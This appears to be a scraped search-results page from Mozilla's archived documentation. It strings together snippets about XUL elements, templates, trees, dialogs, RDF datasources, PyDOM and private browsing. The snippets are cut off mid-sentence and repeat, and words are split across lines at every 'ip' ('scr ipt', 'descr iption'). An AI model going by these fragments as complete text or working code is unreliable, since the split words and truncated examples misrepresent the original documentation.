ip(sizeof(guardrecord) + sizeof(sideexit)); guardrecord *guard = (guardrecord *) rec_ins->payload(); memset(guard, 0, sizeof(*guard)); sideexit *exit = (sideexit *)(guard + 1); guard->exit = exit; guard->exit->target = f; f->lastins = out.insguard(lir_loop, out.insimm(1), rec_ins); // compile the fragment. compile(assm, f, *alloc verbose_only(, fragmento->labels)); if (assm->error() != non...
...And 2 more matches
PyDOM - Archive of obsolete content
introduction this is the documentation for the binding of python and the mozilla dom. this allows you to use python code (almost) anywhere you can use javascr
ipt. globals and namespaces this is taken from a mail to the pyxpcom list - it should be expanded, but a copy-paste will do for now normal module semantics don't exist here. the globals are 'bound' to the global object (i.e., the window), instead of to a module's __dict__ as you expect in the python world. note that we don't actually 'import' anything here - the scr
ipts and event handlers do not exist in a python module. the intent is to provide similar semantics to js. for example, when a top-level window has something like: <window ... scr
ipt="foo = 1" ... an event handler like: <button onclick="print foo"/> should be able to ...
...vide similar semantics to js. for example, when a top-level window has something like: <window ... scr
ipt="foo = 1" ... an event handler like: <button onclick="print foo"/> should be able to reference 'foo' via globals as shown. note that you can stick arbitrary values on any dom object - this is what js calls 'expandos'. ...
... top-level scr
ipt code says something like: button = document.getelementbyid("some-button") button.foo = 0 and the button itself might look like: <button id="some-button" label="click here" onclick="event.target.foo += 1; print 'foo is now', event.target.foo"/> note that (a) we have stuck an arbitrary attribute on a dom element and (b) in all cases (e.g., event handler and top-level scr
ipt), the dom node needs to be explicitly specified - the globals are the window itself. the event handler could also have used getelementbyid - the point is that both the event handler and top-level scr
ipt share the same namespace. using python ideally, you just tell mozilla you are using python, and magically you can use python instead of javascr
ipt. ...
...And 2 more matches
RDF Datasource How-To - Archive of obsolete content
this document is a cookbook that describes how to create a native, client-side datasource that works with mozilla's rdf implementation. it supersedes (and borrows from) the original document put together by robert churchill. ...
...tant friend'." statements from one datasource can be combined with statements from another datasource using a composite datasource. by combining statements from the imap datasource and address book datasource, above, we'd be able to identify the sender of "message 126" as an "important friend". deciding on a vocabulary the vocabulary is the set of properties that you will use to express relationsh
ips between elements (resources and literals) in your data model. the first question that you must answer is "should i use an existing vocabulary, or invent my own?" a reasonable answer is, "use an existing vocabulary unless you absolutely must invent your own." this will allow your datasource to be integrated with other datasources with a minimum of effort. there are several existing vocabularies o...
...ent your own." this will allow your datasource to be integrated with other datasources with a minimum of effort. there are several existing vocabularies of note, including: the rdf schema specification. this vocabulary is a "meta vocabulary" that is used to specify other vocabularies. the dublin core. this vocabulary is useful for describing electronic resources. it contains elements for authorsh
ip, subject, publication date, etc. mapping your data to nodes and arcs [write me!] implementing the nsirdfdatasource interface your first chore will be to implement the nsirdfdatasource interface. there are basically two approaches that you can take in this endeavor: delegate to an inner proxy. for example, you may choose to delegate to the in-memory datasource, which is a generic datasource tha...
...And 2 more matches
Supporting private browsing mode - Archive of obsolete content
own away when private browsing mode is turned off, and the regular databases are re-activated. the temporary cookie and local storage databases start out empty. extensions that may record potentially private information may wish to hook into the private browsing service so that they can avoid saving personal information when private browsing mode is enabled. ...
... wish to hook into the private browsing service so that they can avoid saving personal information when private browsing mode is enabled. doing this is quite easy, using the ns
iprivatebrowsingservice interface. detecting private browsing mode determining whether or not the user is currently in private browsing mode is simple. just check the value of the privatebrowsingenabled attribute on the ns
iprivatebrowsingservice service. var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.ns
iprivatebrowsingservice); var inprivatebrowsingmode = pbs.privatebrowsingenabled; if (!inprivatebrowsingmode) { /* save private information */ } in the above example, we only save the user's private information if not in private browsing mode. ...
...te("privatebrowsingmode")) { // private browsing mode is enabled } if (docroot.getattribute("privatebrowsingmode") == "temporary") { // private browsing mode is temporary } if (docroot.getattribute("privatebrowsingmode") == "permanent") { // private browsing mode is permanent for this session } turning private browsing on and off extensions can turn private browsing mode on and off by man
ipulating the value of the privatebrowsingenabled attribute. var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.ns
iprivatebrowsingservice); var oldprivatemode = pbs.privatebrowsingmode; pbs.privatebrowsingenabled = true; /* this is all private */ pbs.privatebrowsingenabled = oldprivatemode; in this example, we save the current sta...
...And 2 more matches
Writing textual data - Archive of obsolete content
.createinstance(components.interfaces.nsiconverteroutputstream); // this assumes that fos is the nsioutputstream you want to write to os.init(fos, charset, 0, 0x0000); os.writestring("umlaute: \u00fc \u00e4\n"); os.writestring("hebrew: \u05d0 \u05d1\n"); // etc. os.close(); you can also write character arrays using the write function, although using writestring is simpler from javascr
ipt code. the example above passes 0 as the third argument, which disables buffering (note: the implementation of the converter stream might not support buffering). passing 0 ensures that data will be immediately written to the underlying stream; however, for better perfomance you should pass a value like 4096 instead. unsupported characters you can specify what should happen with characters that...
...pecify any unicode character u+abcd directly as 0xabcd. note: if the replacement character is not a supported character in the chosen character encoding, attempts to write unsupported characters will fail with ns_error_loss_of_significant_data. versions before gecko 1.8 firefox 1.0.x, mozilla 1.7.x and older versions do not support nsiconverteroutputstream. ...
...characters will fail with ns_error_loss_of_significant_data. versions before gecko 1.8 firefox 1.0.x, mozilla 1.7.x and older versions do not support nsiconverteroutputstream. alternative ways usable from javascr
ipt do not support character encodings that use embedded nulls (such as utf-16 and utf-32). they work by manually converting the string you want to write to a byte sequence using nsiscr
iptableunicodeconverter, and writing that to the stream. ...
...And 2 more matches
Anonymous Content - Archive of obsolete content
introduction a binding can specify an anonymous content template using the content element. this template describes a content tree that will be generated around the bound element during binding attachment. an element declared in a bound document using a single tag can then be constructed out of mult
iple child elements, and this implementation is hidden from the bound document. for example, the html file upload control appears in most browsers as a composite widget consisting of a text field and a button. a sample xbl binding for the file widget might look as follows: <binding id="fileupload"> <content> <html:input type="text"/> <html:input type="button"/> </content> </binding> because this content is not visible to its parent element, it is said to be anonymous cont...
...xt binding in the chain that contributes anonymous content. that binding can define inherited insertion points for its base binding as well. this pattern continues all the way up the binding chain. xpath selectors specified using the includes attribute determine which insertion point a given child should be placed under. [actually, only tag names may be specified; see the includes attribute descr
iption in <children> element reference, bug 174614 and bug 51527.] if no attribute is specified, an insertion point is considered generic and will match on all content. the insertion point used for a given piece of content is the first encountered with a selector whose node set matches the element when doing a depth-first walk of the content template. note that children elements are never cloned w...
...st placing explicit children during anonymous content generation. if no insertion point is found for the newly-inserted child, then the binding is no longer a fit for the bound element, and all anonymous content will be destroyed. whenever an element is removed, it simply disappears from its insertion point along with all anonymous content that was generated by the element. it is possible to man
ipulate the anonymous content contained underneath a bound element using standard dom apis. if anonymous content that contains an insertion point is removed, then any explicit children found underneath the insertion point are relocated to any other insertion points that match. again, if all the children cannot be relocated, then the anonymous content is destroyed. [editor's note: should there be an...
...And 2 more matches
Attribute (XUL) - Archive of obsolete content
buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols command commandupdater completedefaultindex container containment contentcontextmenu contenttoolt
ip context contextmenu control crop curpos current currentset customindex customizable cycler datasources decimalplaces default defaultbutton defaultset descr
iption dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 en...
...on defaultset descr
iption dir disableautocomplete disableautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete gr
ippyhidden gr
ippytoolt
iptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtoolt
iptext insertafter insertbefore instantapply inverted iscontainer i...
...nactivetitlebarcolor increment index inputtoolt
iptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected last-tab left linkedpanel max maxheight maxlength maxpos maxrows maxwidth member menu menuactive min minheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline mult
iple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpage...
...And 2 more matches
How to implement a custom XUL query processor component - Archive of obsolete content
d information on using xul templates. xul provides template query processors for rdf, xml and sql (mozstorage). the templating system also supports building custom query processors. custom query processors are xpcom components, must implement the nsixultemplatequeryprocessor interface and follow some conventions for when registering the component. in this example, we will create a simple javascr
ipt xpcom component. the component will hold a small array of javascr
ipt objects as its datasource. in practice, you would use your own custom source of data. here is an example of what our xul might look like when using a custom query processor: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is...
...ally using the datasources in our sample component, so we set it to a dummy value. an empty string would be ok too. the querytype is important. it is used to create an instance of our xpcom object. the contract id of our xpcom component should be of the form "@mozilla.org/xul/xul-query-processor;1?name=xxx", where the xxx is the querytype used in the xul template block. ...
... rulematched: function(aquery, arulenode) { }, // the...
...And 2 more matches
List of commands - Archive of obsolete content
the following lists commands which might be usable by <command> or command dispatchers/controllers. ...
... the following lists commands which might be usable by <command> or command dispatchers/controllers. ...
... the following lists commands which might be usable by <command> or command dispatchers/controllers. ...
...And 2 more matches
ContextMenus - Archive of obsolete content
just set the context attribute on those elements you want the context menu to apply to. one technique is to attach a context menu to an entire document area. for instance, the firefox browser applies a single context menu to the browser area which displays web pages. for example, the following will attach a context menu with the id 'contentareacontextmenu' to a browser element: <bro...
...r example, right clicking on an image might display items pertaining to images, whereas clicking on a link would display items pertaining to links. in many cases, it may be easier to use a single context menu containing every possible item, and show and hide the necessary items when needed. to hide an item, set its hidden property to true. to show an item, set its hidden property to false. ...
...ontext menu containing every possible item, and show and hide the necessary items when needed. to hide an item, set its hidden property to true. to show an item, set its hidden property to false. <scr
ipt> function showhidedeleteitem() { var deleteitem = document.getelementbyid("delete"); var rows = document.getelementbyid("rows"); deleteitem.hidden = (rows.childnodes.length == 0); } </scr
ipt> <menupopup id="inssel-menu" onpopupshowing="showhidedeleteitem()"> <menuitem label="insert"/> <menuitem id="delete" label="delete"/> </menupopup> in this example, the showhidedeleteitem function is called when the popupshowing event is fired. this function checks if the element with the id 'rows' has no children and, if so, hides the 'delete' menu item by adjusting the item's hidden prop...
...And 2 more matches
PopupEvents - Archive of obsolete content
ed below: contextmenu this event is fired when a request is made to open a context menu, whether by the keyboard or mouse. this event will be fired even for elements that don't have a context menu associated with them. for more information about how to use this event, see context menu events. popupshowing this event is fired on a menupopup, panel or toolt
ip just before it is made visible. this event is most commonly used to add or adjust items on the popup based on the context. popupshown this event is fired on a menupopup, panel or toolt
ip once it is visible on screen. popuphiding this event is fired on a menupopup, panel or toolt
ip once it is about to be hidden. this may happen because th...
...pup, panel or toolt
ip once it is visible on screen. popuphiding this event is fired on a menupopup, panel or toolt
ip once it is about to be hidden. this may happen because the user selected an item from the menu, or it may be because the popup was closed by clicking elsewhere. popuphidden this event is fired on a menupopup, panel or toolt
ip once it has been hidden. the popupshowing event just before a popup is about to be displayed, a popupshowing event will fired on the popup. this will occur regardless of how the popup is opened, either from user interaction or from a scr
ipt calling the openpopup or openpopupatscreen methods. the typical usage of a listener of the popupshowing event is to adjust the content of the popup b...
... actually be open before that method returns. the popupshown event will be fired when the ui is updated and the popup is visible. one possible use of the popupshown event is to open another menu. this technique, as shown in the following example, is needed if you wish to open a submenu programmatically. this is because you cannot open a submenu directly without first opening the parent menu. ...
...And 2 more matches
Sorting Results - Archive of obsolete content
esults. for an xml datasource, generated content will be output in the order corresponding to the results of the xpath query expression. for an sqlite datasource, the generated content corresponds to the order of results of the sql query. for an rdf datasource, again, the results are in the order the query generates them, although except in the case of an rdf seq, this order is arbitrary as rdf tr
iples don't occur in any particular order. when the reference node is an rdf seq container and the results are in that container, however, the template builder orders the results in the order the items appear in the seq. for instance, the photos are listed in the same order in this example as they appear in the seq in the datasource. this method of sorting a seq works best for the simple query synta...
...plate builder generates the results. for ascending or descending sorts, this doesn't matter, since it will ignore whether results are containers and just sort by a value, alphabetically or numerically depending on the type of data. when using a tree, sorting may be performed on each column of the tree. for instance, if a list of photos was displayed in a two column tree showing the title and descr
iption, you could sort by either title or descr
iption. the user can change the sort column and direction by clicking the column headers, however, you can programmatically change the sort as well. sorting tree results we'll examine sorting of trees first since trees are the most common element used with sorted items. using a tree builder, you can sort the results in a tree by a column. to do this, pl...
... by. here is a complete example of sorting a tree. the sort attribute should be set to the variable that holds the values to sort by. usually, this would be the same variable that is used to generate the label for the cells in that column, however this is not actually necessary. for instance, in the example the second column sorts by date, but if you were to use a different variable such as ?descr
iption, the tree would sort by the value of the descr
iption variable for each row. in almost all situations however, you would normally sort using the same variable used for the label value. however, one situation where this is not desirable is if the displayed values would not generate the correct order as there is a different representation that is more accurate. for example, the date 'may 15' wou...
...And 2 more matches
Adding HTML Elements - Archive of obsolete content
ere are xul elements for doing layout). notice that the prefix html: was added to the front of each tag. this is so that mozilla knows that this is an html tag and not a xul one. if you left out the html: part, the browser would think that the elements were xul elements and they would not display because img, input, table, and so on are not valid xul tags. in xul, you can add labels with the descr
iption or label element. you should use these elements when you can. you can also add labels to controls either by using the html label element, or you can simply put the text inside another html block element (such as p or div) as in the example below. example 1 : source view <html:p> search for: <html:input id="find-text"/> <button id="okbutton" label="ok"/> </html:p> this code will cause t...
...'search for:' to be displayed, followed by an input element and an ok button. notice that the xul button can appear inside the html elements, as it does here. plain text will only be displayed when placed inside an html element that would normally allow you to display text (such as a p tag). text outside of one will not be displayed, unless the xul element the text is inside allows this (the descr
iption element, for example). the examples below may help. examples of html elements what follows are some examples of adding html elements to windows. in each case, the window and other common information has been left out for simplicity. a dialog with a check box example 2 : source view <html:p> click the box below to remember this decision. <html:p> <html:input id="rtd" type="checkbox"...
...rmation has been left out for simplicity. a dialog with a check box example 2 : source view <html:p> click the box below to remember this decision. <html:p> <html:input id="rtd" type="checkbox"/> <html:label for="rtd">remember this decision</html:label> </html:p> </html:p> in this case, one p tag was used to place the text in and another was used to break apart the text into mult
iple lines. text outside of html blocks example 3 : source view <html:div> would you like to save the following documents? <html:hr/> </html:div> expense report 1 what i did last summer <button id="yes" label="yes"/> <button id="no" label="no"/> as can be seen in the image, the text inside the div tag was displayed but the other text (expense report 1 and what i did last summer) was not...
...And 2 more matches
Box Objects - Archive of obsolete content
mozilla layout mozilla divides things into two sets of trees, the content tree and the layout tree. the content tree stores the nodes as they are found in the source code. the layout tree holds a different tree of nodes for each individual component that can be displayed. the layout tree holds the structure as the nodes are expected to be displayed there is not necessarily a one to one relationsh
ip between content and layout nodes. some content nodes may have several layout objects, for example, each line of a paragraph has a separate layout object. conversely, some content nodes have no layout objects at all. for instance, the key element doesn't have any layout objects since it isn't displayed in any way. similarly, any element that has been hidden will not have a layout object either. th...
...ock object to be created instead. naturally, this will change the appearance and function of the element. it isn't necessary to know the details of how the layout objects are constructed but it is quite useful to at least have at least the knowledge of what is described above of xul layout for more advanced xul development. box objects the layout objects are not accessible to the developer for man
ipulating. they are internal to the xul layout components. however, xul provides some helper objects, called box objects, which can provide some layout related information. as the name implies, they are available for all box-based elements. there are several subtypes of box object, although only a couple of them are generally used. the others have functions which are more easily accessible by method...
...ayout objects intact, but changes the size of the element to 0. this means that while both hidden and collapsed elements have 0 width and height, hidden elements have a x and y position of 0, while collapsed elements will retain their position in the window. to retrive or modify the hidden or collapsed state use the corresponding properties as in the following example. ...
...And 2 more matches
Creating Dialogs - Archive of obsolete content
way to supply default values to the fields in the dialog. var somefile=document.getelementbyid('enterfile').value; window.opendialog("chrome://findfile/content/showdetails.xul","showmore", "chrome",somefile); in this example the dialog showdetails.xul is displayed. it's passed one argument, somefile, which was taken from the value of an element with the id enterfile. in a scr
ipt used by the dialog, we can then refer to the argument using the window's arguments property. for example: var fl = window.arguments[0]; document.getelementbyid('thefile').value = fl; this is an effective way to pass values to the new window. you can pass values back from the opened window to the original window in one of two ways. first, you could use the window.opener property which holds t...
... which the buttons appear. example dialog source view <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog id="donothing" title="dialog example" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" buttons="accept,cancel" ondialogaccept="return dook();" ondialogcancel="return docancel();"> <scr
ipt> function dook(){ alert("you pressed ok!"); return true; } function docancel(){ alert("you pressed cancel!"); return true; } </scr
ipt> <descr
iption value="select a button"/> </dialog> you may place any elements that you wish in a dialog. the dialog element has some additional attributes that windows do not have. the buttons attribute is used to specify which buttons should appear in...
..."my dialog" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" onload="window.sizetocontent();" buttons="accept,cancel" buttonlabelaccept="set favourite" buttonaccesskeyaccept="s" ondialogaccept="return dosave();" buttonlabelcancel="cancel" buttonaccesskeycancel="n" ondialogcancel="return docancel();"> <scr
ipt> function dosave(){ //dosomething() return true; } function docancel(){ return true; } </scr
ipt> <dialogheader title="my dialog" descr
iption="example dialog"/> <groupbox flex="1"> <caption label="select favourite fruit"/> <radio id="orange" label="oranges because they are fruity"/> <radio id="violet" selected="true" label="strawberries because of their colour"/> <radio id="yellow" l...
...And 2 more matches
Custom Tree Views - Archive of obsolete content
etrieve the data in the most suitable manner for the kind of data used, the tree can be used even when there are hundreds of thousands of rows to be displayed. note: the tree-related interfaces changed in gecko 1.8. see tree widget changes for details. to implement a custom view, you will need to create an object which implements the nsitreeview interface. you can create these objects in javascr
ipt, but you will need a separate object for each tree. naturally, since a custom tree view is being used, the content tree view will not be used, so the treeitem, treerow, and treecell elements will have no purpose since the custom view will get its data from elsewhere. thus, you can just leave the treechildren element empty. the following example shows this: <tree id="my-tree" flex="1"> <treeco...
... more complex data in each cell. the final step is to associate the view object with the tree. the tree has a property view, which can be assigned to the view object declared above. we can assign a value to this property at any time to set or change the view. function setview(){ document.getelementbyid('my-tree').view = treeview; } the following presents the example together. ...
...t with the tree. the tree has a property view, which can be assigned to the view object declared above. we can assign a value to this property at any time to set or change the view. function setview(){ document.getelementbyid('my-tree').view = treeview; } the following presents the example together. an inline scr
ipt has been used here to simplify the example. normally, you would put the scr
ipt in an external scr
ipt file. ...
...And 2 more matches
List Controls - Archive of obsolete content
work similar to the html select element, which performs both functions, but the xul elements have additional features. the simplest list box uses the listbox element for the box itself, and the listitem element for each item. for example, this list box will have four rows, one for each item. example 1 : source view <listbox> <listitem label="butter pecan" /> <listitem label="chocolate ch
ip" /> <listitem label="raspberry r
ipple" /> <listitem label="squash swirl" /> </listbox> like with the html option element, you can assign a value for each item using the value attribute. you can then use the value in a scr
ipt. the list box will default to a suitable size, but you can control the size with the rows attribute. set it to the number of rows to display in the list box. a scroll ba...
...t to a suitable size, but you can control the size with the rows attribute. set it to the number of rows to display in the list box. a scroll bar will appear that the user can use to display the additional rows. ...
...ize, but you can control the size with the rows attribute. set it to the number of rows to display in the list box. a scroll bar will appear that the user can use to display the additional rows. the following example demonstrates these additional features: example 2 : source view <listbox rows="3"> <listitem label="butter pecan" value="bpecan" /> <listitem label="chocolate ch
ip" value="chocch
ip" /> <listitem label="raspberry r
ipple" value="raspr
ipple" /> <listitem label="squash swirl" value="squash" /> </listbox> the example has been changed to display only 3 rows at a time. values have also been added to each item in the list. list boxes have some additional features, which will be described later. multi-column list boxes the listbox also supports mult
iple columns. each cell may...
...And 2 more matches
Localization - Archive of obsolete content
emantics of a particular xml file, but they also let you declare entities. in the mozilla chrome system, you will find dtd files located in the locales subdirectory. you would normally have one dtd file (with an extension .dtd) per xul file. if you look in the chrome directory, you should see an archive for your language. (en-us.jar is the default for english.) you might have locale files in mult
iple languages, for example, us english (en-us) and french (fr). inside these archives, you will find the files that hold the localized text for each window. the structure of the archives is very similar to the directory structure used for skins. inside the archives, you would place the dtd files in which you declare entities. typically, you will have one dtd file for each xul file, usually with th...
... findlabel and the value "find". this means that wherever the text "&findlabel;" appears in the xul file, it will be replaced with the text "find". note that entity declarations do not have a trailing slash at the end of them. in the dtd file for a different language, the text for that language will be used instead. for japanese: <!entity findlabel "??"> for example, the following text: <descr
iption value="&findlabel;"/> is translated as: english version: <descr
iption value="find"/> japanese version: <descr
iption value="??"/> you would declare an entity for each label or string of text that you use in your interface. you should not have any directly displayed text in the xul file at all. in addition to using entities for text labels, you should use them for any value that could be...
...t href="chrome://global/skin/" type="text/css"?> <?xml-stylesheet href="findfile.css" type="text/css"?> <!doctype window system "chrome://findfile/locale/findfile.dtd"> <window id="findfile-window" title="&findwindow.title;" persist="screenx screeny width height" orient="horizontal" onload="initsearchlist()" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt src="findfile.js"/> <popupset> <menupopup id="editpopup"> <menuitem label="&cutcmd.label;" accesskey="&cutcmd.accesskey;"/> <menuitem label="©cmd.label;" accesskey="©cmd.accesskey;"/> <menuitem label="&pastecmd.label;" accesskey="&pastecmd.accesskey;" disabled="true"/> </menupopup> </popupset> <keyset> <key id="cut_cmd" modifiers="accel" key="&cutcmd.commandkey;...
...And 2 more matches
Property Files - Archive of obsolete content
for this purpose, property files can be used. a property file contains a set of strings. you will find property files alongside the dtd files with a .properties extension. properties in the file are declared with the syntax name=value. an example is shown below: notfoundalert=no files were found matching the criteria. deletealert=click ok to have all your files deleted. ...
...erty files alongside the dtd files with a .properties extension. properties in the file are declared with the syntax name=value. an example is shown below: notfoundalert=no files were found matching the criteria. deletealert=click ok to have all your files deleted. resultmessage=%2$s files found in the %1$s directory. here, the property file contains three properties. these would be read by a scr
ipt and displayed to the user. a property file can also include comments. a line that begins with a hash sign ('#') is treated as a comment: # this is a comment welcomemessage=hello, world! # this is another comment goodbyemessage=come back soon! stringbundles you could write the code to read properties yourself, however xul provides the stringbundle element which does this for you. the element has...
..."stringbundleset"> <stringbundle id="strings" src="chrome://myplugin/locale/strings.properties"/> </stringbundleset> like other non-displayed elements, you should declare all your stringbundles inside a stringbundleset element so that they are all kept together. getting a string from the bundle this stringbundle element has a number of properties. the first is getstring which can be used in a scr
ipt to read a string from the bundle. var strbundle = document.getelementbyid("strings"); var nofilesfound=strbundle.getstring("notfoundalert"); alert(nofilesfound); this example first gets a reference to the bundle using its id then, it looks up the string 'notfoundalert' in the property file. the function getstring() returns the value of the string or null if the string does not exist. final...
...And 2 more matches
Stacks and Decks - Archive of obsolete content
be added over an existing element. for example, a progress bar might be created using a bar and a label overlaid on top of it. shadowing with stacks one convenient use of the stack element however is that you could emulate a number of css properties with it. for example, you could create an effect similar to the text-shadow property with the following: example 1 : source view <stack> <descr
iption value="shadowed" style="padding-left: 1px; padding-top: 1px; font-size: 15pt"/> <descr
iption value="shadowed" style="color: red; font-size: 15pt;"/> </stack> both descr
iption elements create text with a size of 15 points. the first, however is offset one pixel to the right and down by adding a padding to its left and top sides. this has the result of drawing the same text 'shadowed' aga...
... this method has advantages over using text-shadow because you could completely style the shadow apart from the main text. it could have its own font, underline or size. (you could even make the shadow blink). it is also useful as mozilla doesn't currently support css text shadowing. ...
...could have its own font, underline or size. (you could even make the shadow blink). it is also useful as mozilla doesn't currently support css text shadowing. a disadvantage is that the area taken up by the shadow makes the size of the stack larger. shadowing is very useful for creating the disabled appearance of buttons: example 2 : source view <stack style="background-color: #c0c0c0"> <descr
iption value="disabled" style="color: white; padding-left: 1px; padding-top: 1px;"/> <descr
iption value="disabled" style="color: grey;"/> </stack> this arrangement of text and shadow colors creates the disabled look under some platforms. note that events such as mouse clicks and keypresses are passed to the element on the top of the stack, that is, the last element in the stack. that means that...
...And 2 more matches
Templates - Archive of obsolete content
rdf:bookmarks is used. you can probably guess that this means to use the bookmarks datasource. this datasource is provided by mozilla. to use your own datasource, specify the url of an rdf file for the datasources attribute, as indicated in the example below: <box datasources="chrome://zoo/content/animals.rdf" ref="http://www.some-fictitious-zoo.com/all-animals"> you can even specify mult
iple datasources at a time by separating them with a space in the attribute value. this can be used to display data from mult
iple sources. the ref attribute indicates where in the datasource you would like to retrieve data from. in the case of the bookmarks, the value nc:bookmarksroot is used to indicate the root of the bookmarks hierarchy. other values that you can use will depend on the datasourc...
...ch bookmark. the button will have the name of the bookmark and the label will have the url. the new elements that are created are functionally no different from ones that you put directly in the xul file. the id attribute is added to every element created through a template which is set to a value which identifies the resource. you can use this to identify the resource. you can also specify mutl
iple resource values in the same attribute by separating them with a space, as in the example below. more about resource syntax (xulplanet). example 3 : source <vbox datasources="rdf:bookmarks" ref="nc:bookmarksroot" flex="1"> <template> <label uri="rdf:*" value="rdf:http://home.netscape.com/nc-rdf#name rdf:http://home.netscape.com/nc-rdf#url"/> </template> </vbox> how templates are...
...tes are built when an element has a datasources attribute, it indicates that the element is expected to be built from a template. note that it isn't the template tag that determines whether content is built, it is the datasources attribute. when this attribute is present, an object called a builder is added to the element which is responsible for building the content from the template. in javascr
ipt you can access the builder object with the builder property, although usually you would only need to do this to have the builder regenerate the content in situations where it is not done automatically. there are two different types of builders. the first is a content builder and is used in most situations, and the other is a tree builder which is used only for trees. content builder the conte...
...And 2 more matches
Trees - Archive of obsolete content
of text in columns. it can be used with rows either in a flat list or arranged into a hierarchy. a tree also allows the user to rearrange, resize and hide individual columns. some examples of trees include the list of messages in a mail application, or the bookmarks window in mozilla. in some ways, a tree has some similarities with the listbox. both can be used to create tables of data with mult
iple rows and columns, and both may contain column headers. the tree also supports nested rows, whereas the listbox does not. however, listboxes may contain any type of content, whereas trees may only contain text and images. (using advanced features, progress meters or checkboxes also can be added to the tree) a tree consists of two parts, the set of columns, and the tree body. the set of colum...
...very tree can be very cumbersome, especially for simple trees. fortunately, xul provides a couple of built-in view implementations which do most of the hard work for you. for most trees, especially when you first start to use trees, you will use one of these built-in types. however, you can create a view entirely from scratch if necessary. if you do, you might store the data in an array or javascr
ipt data structure, or load the data from an xml file. since the entire body of the tree is a single widget, you can't change the style of individual rows or cells in the normal way. this is because there are no elements that display the individual cells, like there is with the listbox. instead, all drawing is done by the tree body using data supplied by the view. this is an important point and man...
... xul elements is a common source of confusion for xul developers. essentially, the tree content view is a view where the data for the cells is supplied from tags placed inside the tree. naturally, if you are using a different kind of view, the data will be supplied from another source, and there won't be any treeitem elements at all. let's start by looking at how to create a simple tree with mult
iple columns using the tree content view. this could be used to create a list of mail messages. there might be mult
iple columns, such as the sender and the subject. example tree with treechildren example 2 : source view <tree flex="1"> <treecols> <treecol id="sender" label="sender" flex="1"/> <treecol id="subject" label="subject" flex="2"/> </treecols> <treechildren> <treeitem...
...And 2 more matches
XBL Example - Archive of obsolete content
buttons along the bottom will allow the user to cycle through the objects while a text widget between the buttons will display the current page. you could put anything within the pages, however, this widget might be useful for a set of images. we'll call this a slideshow element. content of the slideshow first, let's determine what elements need to go in the xbl content. because we want page fl
ipping, a deck element would be the most suitable to hold the page content. the content of the pages will be specified in the xul file, not in xbl, but we'll need to add it inside the deck. the children tag will need to be used. along the bottom, we'll need a button to go the previous page, a label to display the current page number, and a button to go to the next page. example 1 : source <binding...
...etpage' is called which will be defined later. an oncommand handler will need to be added to the previous and next buttons so that the page is changed when the buttons are pressed. conveniently, we can change the page using the custom 'page' property that was just added: <xul:button xbl:inherits="label=previoustext" oncommand="parentnode.parentnode.parentnode.page--;"/> <xul:descr
iption flex="1"/> <xul:button xbl:inherits="label=nexttext" oncommand="parentnode.parentnode.parentnode.page++;"/> because the 'page' property is only on the outer xul element, we need to to use the parentnode property to get to it. the first parentnode returns the parent of the button which is the horizontal box, the second its parent, the vertical box, and finally, its parent whic...
...ntnode.parentnode.page++;"/> because the 'page' property is only on the outer xul element, we need to to use the parentnode property to get to it. the first parentnode returns the parent of the button which is the horizontal box, the second its parent, the vertical box, and finally, its parent which is the outer box. the 'page' property is incremented or decremented. this will call the onget scr
ipt to get the value, increment or decrement the value by one, and then call the onset handler to set the value. setpage method now let's define the 'setpage' method. it will take one parameter, the page number to set the page to. it will need to make sure the page is not out of range and then modify the deck's selectedindex attribute and the text widget's label attribute. <method name="setpage">...
...And 2 more matches
binding - Archive of obsolete content
that name can then be used within the action of a rule. ...
...it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an rdf resource uri.
...it can be a variable reference, an rdf resource uri, or an rdf literal value. predicate type: uri the predicate or property to match. this must be a uri of the property. subject type: string the subject of the element. it can be a variable reference or an rdf resource uri. inh...
...And 2 more matches
deck - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] an element that displays only one of its children at a time. the selectedindex attribute determines which child is displayed. more information is available in the xul tutorial. attributes selectedindex properties selectedindex, selectedpanel examples <deck selectedindex="2"> <descr
iption value="this is the first page"/> <button label="this is the second page"/> <box> <descr
iption value="this is the third page"/> <button label="this is also the third page"/> </box> </deck> attributes selectedindex type: integer gets and sets the index of the currently selected panel. the first item is at index 0. inherited from xul element align, allowevents, allown...
...you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected do not hide panels; the deck element only understands visible panels...
...you may select an item by assigning its index to this property. by assigning -1 to this property, all items will be deselected. returns -1 if no items are selected do not hide panels; the deck element only understands visible panels. ...
...And 2 more matches
label - Archive of obsolete content
